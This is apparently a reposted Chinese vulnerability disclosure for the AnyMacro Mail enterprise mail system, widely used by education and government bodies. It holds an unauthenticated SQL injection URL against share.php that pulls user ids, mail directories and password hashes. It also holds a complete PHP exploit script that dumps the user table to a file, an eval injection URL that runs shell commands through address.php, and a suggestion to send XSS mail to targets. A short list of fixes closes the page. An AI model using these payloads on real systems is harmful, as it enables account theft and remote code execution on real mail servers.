网站地图    收藏   

主页 > 后端 > 网站安全 >

AnyMacro Mail安宁邮件系统之SQL注射+代码执行(含修

来源:自学PHP网    时间:2015-04-16 23:15 作者: 阅读:

[导读] AnyMacro Mail安宁邮件系统之SQL注入+代码执行anymacro是国内较流行的一家企业级邮箱系统,客户主要为教育 政府机构。今发现该系统有安全问题,攻击者可以获取数据库中的账户信息和执行...

AnyMacro Mail安宁邮件系统之SQL注入+代码执行

anymacro是国内较流行的一家企业级邮箱系统,客户主要为教育/政府机构。

今发现该系统有安全问题,攻击者可以获取数据库中的账户信息和执行恶意的PHP代码。

受影响的版本很难描述,因为安宁官网也没给出准确的版本区分信息。猜测应该是http://www.anymacro.com/product/asterism.htm这个版本。

目测受影响的站有300+,多数是edu和gov。

如果描述中说的,不是所有版本都影响。

http://sut.edu.cn/ 这样的版本受影响。

http://mail.jonhon.cn/ 这样的版本不受影响。



1.SQL注射

share.php未进行授权检查,可以任意访问,同时其中的F_email参数未进行有效过滤。



URL:

http://mail.target.org/share.php?F_email=admin@target.org%27+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+concat(id,0x20,maildir,0x20,crypt)+from+user+limit+0,1)),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/wooyun



crypt字段保存用户密码,非明文,DES(Unix)/MD5(Unix)保存。



附上自己写的EXP:

 

<?php

    if ( ! isset($argv[1]))
    {
    exit("\nUsage: php {$argv[0]} http://www.target.com 0\n\n");
    }

    $target = $argv[1];

    $start = $argv[2];

    $cols = array('id', 'maildir', 'crypt');
    $uri_template = "/share.php?F_email=1%27+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+{col}+from+user+limit+{num},1)),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/360_test";

    $match_regex = "/Duplicate entry '\|(.*)\|1' for key/";

    $filename = 'anymacro_'. md5($target) . '.txt';

    $end = FALSE;
    $i = $start;
    while ( ! $end)
    {
    $uri = str_replace('{num}', $i, $uri_template);

    $line = $i;
    echo "[$i]";
    foreach ($cols AS $col)
    {
    $url = $target . str_replace('{col}', $col, $uri);
    $data = file_get_contents($url);
    if (preg_match($match_regex, $data, $match))
    {
    //print_r($match);
    echo " {$match[1]}";
    $line .= " {$match[1]}";
    }
    else
    {
    $end = TRUE;
    }
    //echo $data;
    //exit;
    }

    $line .= "\n";
    echo "\n";

    file_put_contents($filename, $line, FILE_APPEND);

    $i++;
    }

    echo "\n\n-------------------------------------------\nEND~~~\n";





有了上面获取的账户信息,下面就简单了。



该系统的开发人员对login.php和reg.php防范得比较紧,最近爆出的几个漏洞都很快修复了。不过登陆后才能访问的页面就没怎么进行修复,有N处注射/命令执行/代码执行。。。



如全局地址处:



http://mail.target.org/address.php?F_sid=a4cc600bcc82432513f5753736715e87&F_Daddr=1&F_Dgdisplay=1&node=test%27]);echo%20%27%3Cpre%3E%27;echo%20`ls%20-l`;exit;%23



其中node参数未进行有效过滤,直接带入了eval中执行,导致可以执行任意PHP代码甚至系统命令。



还有很多处可利用,不过都需要登陆后才能利用。



最后,其实绕过这个登陆来getshell或者执行命令也是可以的,不过需要点时间。。。这个系统对XSS也没有有效过滤,也就是说,可以收集下目标的邮箱,然后发xss邮件给这些人,等xss触发。。。


修复方案:

1.做好授权验证

2.更加严格过滤用户提交的数据(GET/POST/Cookie等等)

3.如果可以的话,不用使用PHP的全局变量。如果早期的dz那样处理可能会比现在的更加好

4.不是代码加密了,就可以不做代码审查,尤其用的是开源的加密组件。开源给开发带来便利,也给攻击者带来便利。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论